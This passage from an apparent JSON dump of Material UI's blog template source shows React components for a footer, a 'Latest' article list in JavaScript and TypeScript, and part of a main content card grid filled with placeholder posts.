fontWeight: 600, mt: 2 }}\n              >\n                Join the newsletter\n              </Typography>\n              <Typography variant=\"body2\" sx={{ color: 'text.secondary', mb: 2 }}>\n                Subscribe for weekly updates. No spams ever!\n              </Typography>\n              <InputLabel htmlFor=\"email-newsletter\">Email</InputLabel>\n              <Stack direction=\"row\" spacing={1} useFlexGap>\n                <TextField\n                  id=\"email-newsletter\"\n                  hiddenLabel\n                  size=\"small\"\n                  variant=\"outlined\"\n                  fullWidth\n                  aria-label=\"Enter your email address\"\n                  placeholder=\"Your email address\"\n                  slotProps={{\n                    htmlInput: {\n                      autoComplete: 'off',\n                      'aria-label': 'Enter your email address',\n                    },\n                  }}\n                  sx={{ width: '250px' }}\n                />\n                <Button\n                  variant=\"contained\"\n                  color=\"primary\"\n                  size=\"small\"\n                  sx={{ flexShrink: 0 }}\n                >\n                  Subscribe\n                </Button>\n              </Stack>\n            </Box>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', sm: 'flex' },\n              flexDirection: 'column',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n              Product\n            </Typography>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Features\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Testimonials\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Highlights\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Pricing\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              FAQs\n            </Link>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', sm: 'flex' },\n              flexDirection: 'column',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n              Company\n            </Typography>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              About us\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Careers\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Press\n            </Link>\n          </Box>\n          <Box\n            sx={{\n              display: { xs: 'none', sm: 'flex' },\n              flexDirection: 'column',\n              gap: 1,\n            }}\n          >\n            <Typography variant=\"body2\" sx={{ fontWeight: 'medium' }}>\n              Legal\n            </Typography>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Terms\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Privacy\n            </Link>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Contact\n            </Link>\n          </Box>\n        </Box>\n        <Box\n          sx={{\n            display: 'flex',\n            justifyContent: 'space-between',\n            pt: { xs: 4, sm: 8 },\n            width: '100%',\n            borderTop: '1px solid',\n            borderColor: 'divider',\n          }}\n        >\n          <div>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Privacy Policy\n            </Link>\n            <Typography sx={{ display: 'inline', mx: 0.5, opacity: 0.5 }}>\n              &nbsp;•&nbsp;\n            </Typography>\n            <Link\n              variant=\"body2\"\n              href=\"#\"\n              sx={{\n                color: 'text.secondary',\n              }}\n            >\n              Terms of Service\n            </Link>\n            <Copyright />\n          </div>\n          <Stack\n            direction=\"row\"\n            spacing={1}\n            useFlexGap\n            sx={{ justifyContent: 'left', color: 'text.secondary' }}\n          >\n            <IconButton\n              color=\"inherit\"\n              size=\"small\"\n              href=\"https://github.com/mui\"\n              aria-label=\"GitHub\"\n              sx={{ alignSelf: 'center' }}\n            >\n              <GitHubIcon />\n            </IconButton>\n            <IconButton\n              color=\"inherit\"\n              size=\"small\"\n              href=\"https://x.com/MaterialUI\"\n              aria-label=\"X\"\n              sx={{ alignSelf: 'center' }}\n            >\n              <TwitterIcon />\n            </IconButton>\n            <IconButton\n              color=\"inherit\"\n              size=\"small\"\n              href=\"https://www.linkedin.com/company/mui/\"\n              aria-label=\"LinkedIn\"\n              sx={{ alignSelf: 'center' }}\n            >\n              <LinkedInIcon />\n            </IconButton>\n          </Stack>\n        </Box>\n      </Container>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/Latest.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Pagination from '@mui/material/Pagination';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\nimport NavigateNextRoundedIcon from '@mui/icons-material/NavigateNextRounded';\n\nconst articleInfo = [\n  {\n    tag: 'Engineering',\n    title: 'The future of AI in software engineering',\n    description:\n      'Artificial intelligence is revolutionizing software engineering. Explore how AI-driven tools are enhancing development processes and improving software quality.',\n    authors: [\n      { name: 'Remy Sharp', avatar: '/static/images/avatar/1.jpg' },\n      { name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' },\n    ],\n  },\n  {\n    tag: 'Product',\n    title: 'Driving growth with user-centric product design',\n    description:\n      'Our user-centric product design approach is driving significant growth. Learn about the strategies we employ to create products that resonate with users.',\n    authors: [{ name: 'Erica Johns', avatar: '/static/images/avatar/6.jpg' }],\n  },\n  {\n    tag: 'Design',\n    title: 'Embracing minimalism in modern design',\n    description:\n      'Minimalism is a key trend in modern design. Discover how our design team incorporates minimalist principles to create clean and impactful user experiences.',\n    authors: [{ name: 'Kate Morrison', avatar: '/static/images/avatar/7.jpg' }],\n  },\n  {\n    tag: 'Company',\n    title: 'Cultivating a culture of innovation',\n    description:\n      'Innovation is at the heart of our company culture. Learn about the initiatives we have in place to foster creativity and drive groundbreaking solutions.',\n    authors: [{ name: 'Cindy Baker', avatar: '/static/images/avatar/3.jpg' }],\n  },\n  {\n    tag: 'Engineering',\n    title: 'Advancing cybersecurity with next-gen solutions',\n    description:\n      'Our next-generation cybersecurity solutions are setting new standards in the industry. Discover how we protect our clients from evolving cyber threats.',\n    authors: [\n      { name: 'Agnes Walker', avatar: '/static/images/avatar/4.jpg' },\n      { name: 'Trevor Henderson', avatar: '/static/images/avatar/5.jpg' },\n    ],\n  },\n  {\n    tag: 'Product',\n    title: 'Enhancing customer experience through innovation',\n    description:\n      'Our innovative approaches are enhancing customer experience. Learn about the new features and improvements that are delighting our users.',\n    authors: [{ name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' }],\n  },\n  {\n    tag: 'Engineering',\n    title: 'Pioneering sustainable engineering solutions',\n    description:\n      \"Learn about our commitment to sustainability and the innovative engineering solutions we're implementing to create a greener future. Discover the impact of our eco-friendly initiatives.\",\n    authors: [\n      { name: 'Agnes Walker', avatar: '/static/images/avatar/4.jpg' },\n      { name: 'Trevor Henderson', avatar: '/static/images/avatar/5.jpg' },\n    ],\n  },\n  {\n    tag: 'Product',\n    title: 'Maximizing efficiency with our latest product updates',\n    description:\n      'Our recent product updates are designed to help you maximize efficiency and achieve more. Get a detailed overview of the new features and improvements that can elevate your workflow.',\n    authors: [{ name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' }],\n  },\n  {\n    tag: 'Design',\n    title: 'Designing for the future: trends and insights',\n    description:\n      'Stay ahead of the curve with the latest design trends and insights. Our design team shares their expertise on creating intuitive and visually stunning user experiences.',\n    authors: [{ name: 'Kate Morrison', avatar: '/static/images/avatar/7.jpg' }],\n  },\n  {\n    tag: 'Company',\n    title: \"Our company's journey: milestones and achievements\",\n    description:\n      \"Take a look at our company's journey and the milestones we've achieved along the way. From humble beginnings to industry leader, discover our story of growth and success.\",\n    authors: [{ name: 'Cindy Baker', avatar: '/static/images/avatar/3.jpg' }],\n  },\n];\n\nconst StyledTypography = styled(Typography)({\n  display: '-webkit-box',\n  WebkitBoxOrient: 'vertical',\n  WebkitLineClamp: 2,\n  overflow: 'hidden',\n  textOverflow: 'ellipsis',\n});\n\nconst TitleTypography = styled(Typography)(({ theme }) => ({\n  position: 'relative',\n  textDecoration: 'none',\n  '&:hover': { cursor: 'pointer' },\n  '& .arrow': {\n    visibility: 'hidden',\n    position: 'absolute',\n    right: 0,\n    top: '50%',\n    transform: 'translateY(-50%)',\n  },\n  '&:hover .arrow': {\n    visibility: 'visible',\n    opacity: 0.7,\n  },\n  '&:focus-visible': {\n    outline: '3px solid',\n    outlineColor: 'hsla(210, 98%, 48%, 0.5)',\n    outlineOffset: '3px',\n    borderRadius: '8px',\n  },\n  '&::before': {\n    content: '\"\"',\n    position: 'absolute',\n    width: 0,\n    height: '1px',\n    bottom: 0,\n    left: 0,\n    backgroundColor: (theme.vars || theme).palette.text.primary,\n    opacity: 0.3,\n    transition: 'width 0.3s ease, opacity 0.3s ease',\n  },\n  '&:hover::before': {\n    width: '100%',\n  },\n}));\n\nfunction Author({ authors }) {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'row',\n        gap: 2,\n        alignItems: 'center',\n        justifyContent: 'space-between',\n      }}\n    >\n      <Box\n        sx={{ display: 'flex', flexDirection: 'row', gap: 1, alignItems: 'center' }}\n      >\n        <AvatarGroup max={3}>\n          {authors.map((author, index) => (\n            <Avatar\n              key={index}\n              alt={author.name}\n              src={author.avatar}\n              sx={{ width: 24, height: 24 }}\n            />\n          ))}\n        </AvatarGroup>\n        <Typography variant=\"caption\">\n          {authors.map((author) => author.name).join(', ')}\n        </Typography>\n      </Box>\n      <Typography variant=\"caption\">July 14, 2021</Typography>\n    </Box>\n  );\n}\n\nAuthor.propTypes = {\n  authors: PropTypes.arrayOf(\n    PropTypes.shape({\n      avatar: PropTypes.string.isRequired,\n      name: PropTypes.string.isRequired,\n    }),\n  ).isRequired,\n};\n\nexport default function Latest() {\n  const [focusedCardIndex, setFocusedCardIndex] = React.useState(null);\n\n  const handleFocus = (index) => {\n    setFocusedCardIndex(index);\n  };\n\n  const handleBlur = () => {\n    setFocusedCardIndex(null);\n  };\n\n  return (\n    <div>\n      <Typography variant=\"h2\" gutterBottom>\n        Latest\n      </Typography>\n      <Grid container spacing={8} columns={12} sx={{ my: 4 }}>\n        {articleInfo.map((article, index) => (\n          <Grid key={index} size={{ xs: 12, sm: 6 }}>\n            <Box\n              sx={{\n                display: 'flex',\n                flexDirection: 'column',\n                justifyContent: 'space-between',\n                gap: 1,\n                height: '100%',\n              }}\n            >\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {article.tag}\n              </Typography>\n              <TitleTypography\n                gutterBottom\n                variant=\"h6\"\n                onFocus={() => handleFocus(index)}\n                onBlur={handleBlur}\n                tabIndex={0}\n                className={focusedCardIndex === index ? 'Mui-focused' : ''}\n              >\n                {article.title}\n                <NavigateNextRoundedIcon\n                  className=\"arrow\"\n                  sx={{ fontSize: '1rem' }}\n                />\n              </TitleTypography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {article.description}\n              </StyledTypography>\n\n              <Author authors={article.authors} />\n            </Box>\n          </Grid>\n        ))}\n      </Grid>\n      <Box sx={{ display: 'flex', flexDirection: 'row', pt: 4 }}>\n        <Pagination hidePrevButton hideNextButton count={10} boundaryCount={10} />\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/Latest.tsx",
    "content": "import * as React from 'react';\nimport Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Pagination from '@mui/material/Pagination';\nimport Typography from '@mui/material/Typography';\nimport { styled } from '@mui/material/styles';\nimport NavigateNextRoundedIcon from '@mui/icons-material/NavigateNextRounded';\n\nconst articleInfo = [\n  {\n    tag: 'Engineering',\n    title: 'The future of AI in software engineering',\n    description:\n      'Artificial intelligence is revolutionizing software engineering. Explore how AI-driven tools are enhancing development processes and improving software quality.',\n    authors: [\n      { name: 'Remy Sharp', avatar: '/static/images/avatar/1.jpg' },\n      { name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' },\n    ],\n  },\n  {\n    tag: 'Product',\n    title: 'Driving growth with user-centric product design',\n    description:\n      'Our user-centric product design approach is driving significant growth. Learn about the strategies we employ to create products that resonate with users.',\n    authors: [{ name: 'Erica Johns', avatar: '/static/images/avatar/6.jpg' }],\n  },\n  {\n    tag: 'Design',\n    title: 'Embracing minimalism in modern design',\n    description:\n      'Minimalism is a key trend in modern design. Discover how our design team incorporates minimalist principles to create clean and impactful user experiences.',\n    authors: [{ name: 'Kate Morrison', avatar: '/static/images/avatar/7.jpg' }],\n  },\n  {\n    tag: 'Company',\n    title: 'Cultivating a culture of innovation',\n    description:\n      'Innovation is at the heart of our company culture. Learn about the initiatives we have in place to foster creativity and drive groundbreaking solutions.',\n    authors: [{ name: 'Cindy Baker', avatar: '/static/images/avatar/3.jpg' }],\n  },\n  {\n    tag: 'Engineering',\n    title: 'Advancing cybersecurity with next-gen solutions',\n    description:\n      'Our next-generation cybersecurity solutions are setting new standards in the industry. Discover how we protect our clients from evolving cyber threats.',\n    authors: [\n      { name: 'Agnes Walker', avatar: '/static/images/avatar/4.jpg' },\n      { name: 'Trevor Henderson', avatar: '/static/images/avatar/5.jpg' },\n    ],\n  },\n  {\n    tag: 'Product',\n    title: 'Enhancing customer experience through innovation',\n    description:\n      'Our innovative approaches are enhancing customer experience. Learn about the new features and improvements that are delighting our users.',\n    authors: [{ name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' }],\n  },\n  {\n    tag: 'Engineering',\n    title: 'Pioneering sustainable engineering solutions',\n    description:\n      \"Learn about our commitment to sustainability and the innovative engineering solutions we're implementing to create a greener future. Discover the impact of our eco-friendly initiatives.\",\n    authors: [\n      { name: 'Agnes Walker', avatar: '/static/images/avatar/4.jpg' },\n      { name: 'Trevor Henderson', avatar: '/static/images/avatar/5.jpg' },\n    ],\n  },\n  {\n    tag: 'Product',\n    title: 'Maximizing efficiency with our latest product updates',\n    description:\n      'Our recent product updates are designed to help you maximize efficiency and achieve more. Get a detailed overview of the new features and improvements that can elevate your workflow.',\n    authors: [{ name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' }],\n  },\n  {\n    tag: 'Design',\n    title: 'Designing for the future: trends and insights',\n    description:\n      'Stay ahead of the curve with the latest design trends and insights. Our design team shares their expertise on creating intuitive and visually stunning user experiences.',\n    authors: [{ name: 'Kate Morrison', avatar: '/static/images/avatar/7.jpg' }],\n  },\n  {\n    tag: 'Company',\n    title: \"Our company's journey: milestones and achievements\",\n    description:\n      \"Take a look at our company's journey and the milestones we've achieved along the way. From humble beginnings to industry leader, discover our story of growth and success.\",\n    authors: [{ name: 'Cindy Baker', avatar: '/static/images/avatar/3.jpg' }],\n  },\n];\n\nconst StyledTypography = styled(Typography)({\n  display: '-webkit-box',\n  WebkitBoxOrient: 'vertical',\n  WebkitLineClamp: 2,\n  overflow: 'hidden',\n  textOverflow: 'ellipsis',\n});\n\nconst TitleTypography = styled(Typography)(({ theme }) => ({\n  position: 'relative',\n  textDecoration: 'none',\n  '&:hover': { cursor: 'pointer' },\n  '& .arrow': {\n    visibility: 'hidden',\n    position: 'absolute',\n    right: 0,\n    top: '50%',\n    transform: 'translateY(-50%)',\n  },\n  '&:hover .arrow': {\n    visibility: 'visible',\n    opacity: 0.7,\n  },\n  '&:focus-visible': {\n    outline: '3px solid',\n    outlineColor: 'hsla(210, 98%, 48%, 0.5)',\n    outlineOffset: '3px',\n    borderRadius: '8px',\n  },\n  '&::before': {\n    content: '\"\"',\n    position: 'absolute',\n    width: 0,\n    height: '1px',\n    bottom: 0,\n    left: 0,\n    backgroundColor: (theme.vars || theme).palette.text.primary,\n    opacity: 0.3,\n    transition: 'width 0.3s ease, opacity 0.3s ease',\n  },\n  '&:hover::before': {\n    width: '100%',\n  },\n}));\n\nfunction Author({ authors }: { authors: { name: string; avatar: string }[] }) {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'row',\n        gap: 2,\n        alignItems: 'center',\n        justifyContent: 'space-between',\n      }}\n    >\n      <Box\n        sx={{ display: 'flex', flexDirection: 'row', gap: 1, alignItems: 'center' }}\n      >\n        <AvatarGroup max={3}>\n          {authors.map((author, index) => (\n            <Avatar\n              key={index}\n              alt={author.name}\n              src={author.avatar}\n              sx={{ width: 24, height: 24 }}\n            />\n          ))}\n        </AvatarGroup>\n        <Typography variant=\"caption\">\n          {authors.map((author) => author.name).join(', ')}\n        </Typography>\n      </Box>\n      <Typography variant=\"caption\">July 14, 2021</Typography>\n    </Box>\n  );\n}\n\nexport default function Latest() {\n  const [focusedCardIndex, setFocusedCardIndex] = React.useState<number | null>(\n    null,\n  );\n\n  const handleFocus = (index: number) => {\n    setFocusedCardIndex(index);\n  };\n\n  const handleBlur = () => {\n    setFocusedCardIndex(null);\n  };\n\n  return (\n    <div>\n      <Typography variant=\"h2\" gutterBottom>\n        Latest\n      </Typography>\n      <Grid container spacing={8} columns={12} sx={{ my: 4 }}>\n        {articleInfo.map((article, index) => (\n          <Grid key={index} size={{ xs: 12, sm: 6 }}>\n            <Box\n              sx={{\n                display: 'flex',\n                flexDirection: 'column',\n                justifyContent: 'space-between',\n                gap: 1,\n                height: '100%',\n              }}\n            >\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {article.tag}\n              </Typography>\n              <TitleTypography\n                gutterBottom\n                variant=\"h6\"\n                onFocus={() => handleFocus(index)}\n                onBlur={handleBlur}\n                tabIndex={0}\n                className={focusedCardIndex === index ? 'Mui-focused' : ''}\n              >\n                {article.title}\n                <NavigateNextRoundedIcon\n                  className=\"arrow\"\n                  sx={{ fontSize: '1rem' }}\n                />\n              </TitleTypography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {article.description}\n              </StyledTypography>\n\n              <Author authors={article.authors} />\n            </Box>\n          </Grid>\n        ))}\n      </Grid>\n      <Box sx={{ display: 'flex', flexDirection: 'row', pt: 4 }}>\n        <Pagination hidePrevButton hideNextButton count={10} boundaryCount={10} />\n      </Box>\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/blog/components/MainContent.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport Avatar from '@mui/material/Avatar';\nimport AvatarGroup from '@mui/material/AvatarGroup';\nimport Box from '@mui/material/Box';\nimport Card from '@mui/material/Card';\nimport CardContent from '@mui/material/CardContent';\nimport CardMedia from '@mui/material/CardMedia';\nimport Chip from '@mui/material/Chip';\nimport Grid from '@mui/material/Grid';\nimport IconButton from '@mui/material/IconButton';\nimport Typography from '@mui/material/Typography';\nimport FormControl from '@mui/material/FormControl';\nimport InputAdornment from '@mui/material/InputAdornment';\nimport OutlinedInput from '@mui/material/OutlinedInput';\nimport { styled } from '@mui/material/styles';\nimport SearchRoundedIcon from '@mui/icons-material/SearchRounded';\nimport RssFeedRoundedIcon from '@mui/icons-material/RssFeedRounded';\n\nconst cardData = [\n  {\n    img: 'https://picsum.photos/800/450?random=1',\n    tag: 'Engineering',\n    title: 'Revolutionizing software development with cutting-edge tools',\n    description:\n      'Our latest engineering tools are designed to streamline workflows and boost productivity. Discover how these innovations are transforming the software development landscape.',\n    authors: [\n      { name: 'Remy Sharp', avatar: '/static/images/avatar/1.jpg' },\n      { name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' },\n    ],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=2',\n    tag: 'Product',\n    title: 'Innovative product features that drive success',\n    description:\n      'Explore the key features of our latest product release that are helping businesses achieve their goals. From user-friendly interfaces to robust functionality, learn why our product stands out.',\n    authors: [{ name: 'Erica Johns', avatar: '/static/images/avatar/6.jpg' }],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=3',\n    tag: 'Design',\n    title: 'Designing for the future: trends and insights',\n    description:\n      'Stay ahead of the curve with the latest design trends and insights. Our design team shares their expertise on creating intuitive and visually stunning user experiences.',\n    authors: [{ name: 'Kate Morrison', avatar: '/static/images/avatar/7.jpg' }],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=4',\n    tag: 'Company',\n    title: \"Our company's journey: milestones and achievements\",\n    description:\n      \"Take a look at our company's journey and the milestones we've achieved along the way. From humble beginnings to industry leader, discover our story of growth and success.\",\n    authors: [{ name: 'Cindy Baker', avatar: '/static/images/avatar/3.jpg' }],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=45',\n    tag: 'Engineering',\n    title: 'Pioneering sustainable engineering solutions',\n    description:\n      \"Learn about our commitment to sustainability and the innovative engineering solutions we're implementing to create a greener future. Discover the impact of our eco-friendly initiatives.\",\n    authors: [\n      { name: 'Agnes Walker', avatar: '/static/images/avatar/4.jpg' },\n      { name: 'Trevor Henderson', avatar: '/static/images/avatar/5.jpg' },\n    ],\n  },\n  {\n    img: 'https://picsum.photos/800/450?random=6',\n    tag: 'Product',\n    title: 'Maximizing efficiency with our latest product updates',\n    description:\n      'Our recent product updates are designed to help you maximize efficiency and achieve more. Get a detailed overview of the new features and improvements that can elevate your workflow.',\n    authors: [{ name: 'Travis Howard', avatar: '/static/images/avatar/2.jpg' }],\n  },\n];\n\nconst StyledCard = styled(Card)(({ theme }) => ({\n  display: 'flex',\n  flexDirection: 'column',\n  padding: 0,\n  height: '100%',\n  backgroundColor: (theme.vars || theme).palette.background.paper,\n  '&:hover': {\n    backgroundColor: 'transparent',\n    cursor: 'pointer',\n  },\n  '&:focus-visible': {\n    outline: '3px solid',\n    outlineColor: 'hsla(210, 98%, 48%, 0.5)',\n    outlineOffset: '2px',\n  },\n}));\n\nconst StyledCardContent = styled(CardContent)({\n  display: 'flex',\n  flexDirection: 'column',\n  gap: 4,\n  padding: 16,\n  flexGrow: 1,\n  '&:last-child': {\n    paddingBottom: 16,\n  },\n});\n\nconst StyledTypography = styled(Typography)({\n  display: '-webkit-box',\n  WebkitBoxOrient: 'vertical',\n  WebkitLineClamp: 2,\n  overflow: 'hidden',\n  textOverflow: 'ellipsis',\n});\n\nfunction Author({ authors }) {\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        flexDirection: 'row',\n        gap: 2,\n        alignItems: 'center',\n        justifyContent: 'space-between',\n        padding: '16px',\n      }}\n    >\n      <Box\n        sx={{ display: 'flex', flexDirection: 'row', gap: 1, alignItems: 'center' }}\n      >\n        <AvatarGroup max={3}>\n          {authors.map((author, index) => (\n            <Avatar\n              key={index}\n              alt={author.name}\n              src={author.avatar}\n              sx={{ width: 24, height: 24 }}\n            />\n          ))}\n        </AvatarGroup>\n        <Typography variant=\"caption\">\n          {authors.map((author) => author.name).join(', ')}\n        </Typography>\n      </Box>\n      <Typography variant=\"caption\">July 14, 2021</Typography>\n    </Box>\n  );\n}\n\nAuthor.propTypes = {\n  authors: PropTypes.arrayOf(\n    PropTypes.shape({\n      avatar: PropTypes.string.isRequired,\n      name: PropTypes.string.isRequired,\n    }),\n  ).isRequired,\n};\n\nexport function Search() {\n  return (\n    <FormControl sx={{ width: { xs: '100%', md: '25ch' } }} variant=\"outlined\">\n      <OutlinedInput\n        size=\"small\"\n        id=\"search\"\n        placeholder=\"Search…\"\n        sx={{ flexGrow: 1 }}\n        startAdornment={\n          <InputAdornment position=\"start\" sx={{ color: 'text.primary' }}>\n            <SearchRoundedIcon fontSize=\"small\" />\n          </InputAdornment>\n        }\n        inputProps={{\n          'aria-label': 'search',\n        }}\n      />\n    </FormControl>\n  );\n}\n\nexport default function MainContent() {\n  const [focusedCardIndex, setFocusedCardIndex] = React.useState(null);\n\n  const handleFocus = (index) => {\n    setFocusedCardIndex(index);\n  };\n\n  const handleBlur = () => {\n    setFocusedCardIndex(null);\n  };\n\n  const handleClick = () => {\n    console.info('You clicked the filter chip.');\n  };\n\n  return (\n    <Box sx={{ display: 'flex', flexDirection: 'column', gap: 4 }}>\n      <div>\n        <Typography variant=\"h1\" gutterBottom>\n          Blog\n        </Typography>\n        <Typography>Stay in the loop with the latest about our products</Typography>\n      </div>\n      <Box\n        sx={{\n          display: { xs: 'flex', sm: 'none' },\n          flexDirection: 'row',\n          gap: 1,\n          width: { xs: '100%', md: 'fit-content' },\n          overflow: 'auto',\n        }}\n      >\n        <Search />\n        <IconButton size=\"small\" aria-label=\"RSS feed\">\n          <RssFeedRoundedIcon />\n        </IconButton>\n      </Box>\n      <Box\n        sx={{\n          display: 'flex',\n          flexDirection: { xs: 'column-reverse', md: 'row' },\n          width: '100%',\n          justifyContent: 'space-between',\n          alignItems: { xs: 'start', md: 'center' },\n          gap: 4,\n          overflow: 'auto',\n        }}\n      >\n        <Box\n          sx={{\n            display: 'inline-flex',\n            flexDirection: 'row',\n            gap: 3,\n            overflow: 'auto',\n          }}\n        >\n          <Chip onClick={handleClick} size=\"medium\" label=\"All categories\" />\n          <Chip\n            onClick={handleClick}\n            size=\"medium\"\n            label=\"Company\"\n            sx={{\n              backgroundColor: 'transparent',\n              border: 'none',\n            }}\n          />\n          <Chip\n            onClick={handleClick}\n            size=\"medium\"\n            label=\"Product\"\n            sx={{\n              backgroundColor: 'transparent',\n              border: 'none',\n            }}\n          />\n          <Chip\n            onClick={handleClick}\n            size=\"medium\"\n            label=\"Design\"\n            sx={{\n              backgroundColor: 'transparent',\n              border: 'none',\n            }}\n          />\n          <Chip\n            onClick={handleClick}\n            size=\"medium\"\n            label=\"Engineering\"\n            sx={{\n              backgroundColor: 'transparent',\n              border: 'none',\n            }}\n          />\n        </Box>\n        <Box\n          sx={{\n            display: { xs: 'none', sm: 'flex' },\n            flexDirection: 'row',\n            gap: 1,\n            width: { xs: '100%', md: 'fit-content' },\n            overflow: 'auto',\n          }}\n        >\n          <Search />\n          <IconButton size=\"small\" aria-label=\"RSS feed\">\n            <RssFeedRoundedIcon />\n          </IconButton>\n        </Box>\n      </Box>\n      <Grid container spacing={2} columns={12}>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <StyledCard\n            variant=\"outlined\"\n            onFocus={() => handleFocus(0)}\n            onBlur={handleBlur}\n            tabIndex={0}\n            className={focusedCardIndex === 0 ? 'Mui-focused' : ''}\n          >\n            <CardMedia\n              component=\"img\"\n              alt=\"green iguana\"\n              image={cardData[0].img}\n              sx={{\n                aspectRatio: '16 / 9',\n                borderBottom: '1px solid',\n                borderColor: 'divider',\n              }}\n            />\n            <StyledCardContent>\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {cardData[0].tag}\n              </Typography>\n              <Typography gutterBottom variant=\"h6\" component=\"div\">\n                {cardData[0].title}\n              </Typography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {cardData[0].description}\n              </StyledTypography>\n            </StyledCardContent>\n            <Author authors={cardData[0].authors} />\n          </StyledCard>\n        </Grid>\n        <Grid size={{ xs: 12, md: 6 }}>\n          <StyledCard\n            variant=\"outlined\"\n            onFocus={() => handleFocus(1)}\n            onBlur={handleBlur}\n            tabIndex={0}\n            className={focusedCardIndex === 1 ? 'Mui-focused' : ''}\n          >\n            <CardMedia\n              component=\"img\"\n              alt=\"green iguana\"\n              image={cardData[1].img}\n              aspect-ratio=\"16 / 9\"\n              sx={{\n                borderBottom: '1px solid',\n                borderColor: 'divider',\n              }}\n            />\n            <StyledCardContent>\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {cardData[1].tag}\n              </Typography>\n              <Typography gutterBottom variant=\"h6\" component=\"div\">\n                {cardData[1].title}\n              </Typography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {cardData[1].description}\n              </StyledTypography>\n            </StyledCardContent>\n            <Author authors={cardData[1].authors} />\n          </StyledCard>\n        </Grid>\n        <Grid size={{ xs: 12, md: 4 }}>\n          <StyledCard\n            variant=\"outlined\"\n            onFocus={() => handleFocus(2)}\n            onBlur={handleBlur}\n            tabIndex={0}\n            className={focusedCardIndex === 2 ? 'Mui-focused' : ''}\n            sx={{ height: '100%' }}\n          >\n            <CardMedia\n              component=\"img\"\n              alt=\"green iguana\"\n              image={cardData[2].img}\n              sx={{\n                height: { sm: 'auto', md: '50%' },\n                aspectRatio: { sm: '16 / 9', md: '' },\n              }}\n            />\n            <StyledCardContent>\n              <Typography gutterBottom variant=\"caption\" component=\"div\">\n                {cardData[2].tag}\n              </Typography>\n              <Typography gutterBottom variant=\"h6\" component=\"div\">\n                {cardData[2].title}\n              </Typography>\n              <StyledTypography\n                variant=\"body2\"\n                gutterBottom\n                sx={{ color: 'text.secondary' }}\n              >\n                {cardData[2].description}\n              </StyledTypography>\n            </StyledCardContent>\n            <Author authors={cardData[2].authors} />\n          </StyledCard>\n        </Grid>\n        <Grid size={{ xs: 12, md: 4 }}>\n          <Box\n            sx={{ display: 'flex', flexDirection: 'column', gap: 2, height: '100%' }}\n          >\n            <StyledCard\n              variant=\"outlined\"\n              onFocus={() => handleFocus(3)}\n              onBlur={handleBlur}\n              tabIndex={0}\n              className={focusedCardIndex === 3 ? 'Mui-focused' : ''}\n              sx={{ height: '100%' 